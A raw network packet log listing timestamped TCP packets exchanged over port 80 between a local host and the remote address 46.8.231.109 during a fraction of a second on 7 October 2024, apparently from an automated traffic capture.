Oct 7, 2024 18:00:26.463098049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463188887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463206053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463237047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.463282108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.463515043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463531971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463546991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463568926 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.463581085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463597059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463599920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.463610888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463629961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.463651896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.463687897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463700056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463716030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463728905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.463730097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463749886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.463778019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.465672970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465699911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465714931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465728998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465744019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465768099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465779066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.465785027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465800047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465801001 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.465815067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465818882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.465828896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465843916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465843916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.465857983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465873003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.465876102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.465899944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.465919971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.466227055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466239929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466254950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466269016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466276884 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.466284037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466289043 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.466299057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466314077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.466314077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466325045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.466336012 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.466356039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.466830969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466845989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466860056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466875076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466882944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.466888905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.466900110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.466934919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467525005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467576981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467624903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467639923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467664003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467670918 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467679024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467680931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467701912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467703104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467714071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467720985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467739105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467746973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467752934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467760086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467767954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467780113 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467781067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467797995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.467798948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467812061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.467840910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.468096018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.468142986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.468988895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469005108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469022036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469042063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469064951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469140053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469153881 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469170094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469183922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469213009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469378948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469394922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469412088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469428062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469435930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469440937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469451904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469458103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469474077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469482899 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469491005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469513893 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469533920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469876051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469891071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469906092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469919920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469928980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.469935894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.469948053 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.470005035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.470163107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470179081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470195055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470202923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.470231056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.470789909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470823050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470837116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470848083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.470850945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470868111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470875978 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.470881939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470897913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.470905066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.470921993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.470951080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471225023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471240044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471254110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471261978 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471282959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471288919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471303940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471303940 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471326113 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471328020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471337080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471343040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471358061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471362114 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471374035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471375942 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471395969 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471405983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471410036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471422911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471438885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.471442938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471451998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.471481085 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.472929001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.472940922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473000050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.473009109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473021984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473035097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473052979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.473068953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473081112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473082066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.473099947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473105907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473114014 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.473114967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473165989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.473541021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473599911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.473846912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473858118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473870039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.473902941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.473931074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.474890947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.474905968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.474919081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.474950075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.474992037 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.475168943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475182056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475193024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475204945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475208998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.475217104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475231886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.475244999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.475276947 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.475419044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475431919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475444078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475455999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475467920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475478888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475492954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475532055 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.475547075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.475788116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.475837946 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546174049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546217918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546228886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546308041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546343088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546351910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546360970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546391964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546416998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546427965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546461105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546637058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546646118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546685934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546870947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546879053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546895027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546905994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546915054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546916008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546931982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546941996 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546960115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546986103 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.546986103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.546997070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.547025919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.547585011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.547595978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.547605038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.547637939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.547657013 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.548116922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548126936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548136950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548146963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548165083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.548196077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.548508883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548517942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548527002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548537970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548547983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548549891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.548590899 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.548593044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548603058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548613071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.548633099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.548650026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.550611019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.550621986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.550632000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.550687075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.550719023 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.551271915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.551281929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.551292896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.551304102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.551328897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.551361084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.551956892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.551966906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.551976919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552042007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.552042007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.552088976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552099943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552109003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552119017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552143097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.552170992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.552351952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552365065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552373886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552390099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552400112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.552403927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552413940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552423954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.552428007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.552464008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.553057909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553067923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553077936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553086996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553097010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553107977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553109884 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.553117037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553144932 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.553164005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553174019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553177118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.553184032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553194046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553205013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553215027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.553225040 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.553256989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.553896904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553905964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553915977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553925037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553936958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553946972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553956985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553957939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.553966999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553977013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.553987980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.554009914 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.554023981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.555109024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555119991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555130005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555139065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555147886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555159092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555169106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555175066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.555180073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555212975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.555227995 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.555435896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.555445910 CEST	80	49718	46.8.231.109	192.168.2.6
